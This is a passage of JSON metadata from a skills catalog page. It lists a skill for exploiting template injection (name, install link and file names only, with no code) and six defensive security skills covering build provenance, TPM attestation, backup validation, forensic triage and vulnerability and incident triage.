exploiting-template-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",true,[91,96,102],{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002FLICENSE",{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"references\u002Fapi-reference.md","REFERENCE","参考文档",1729,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"scripts\u002Fagent.py","SCRIPT","脚本",7993,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[109,133,157,182,208,234],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":116,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[115],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[117,118,119,120,46,45,121,122,43,42,123,124,125,126,127,128,129,130,131,132],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":140,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[139],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[141,129,142,143,46,144,45,43,145,146,147,148,149,150,151,152,153,154,155,156],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":165,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[163,164],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[151,166,167,168,38,45,169,170,145,171,172,173,174,175,176,177,178,179,180,181],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":189,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[188],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[190,191,192,45,193,194,195,196,197,198,199,200,201,202,203,204,148,205,206,207],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":215,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[214],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[28,216,217,45,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":235,"name":236,"nameZh":6,"description":237,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":238,"categories":239,"keywords":241,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[240],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,242,45,243,244,245,246,247,248,249,250,177,35,178,251,252,253,254,255,256],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]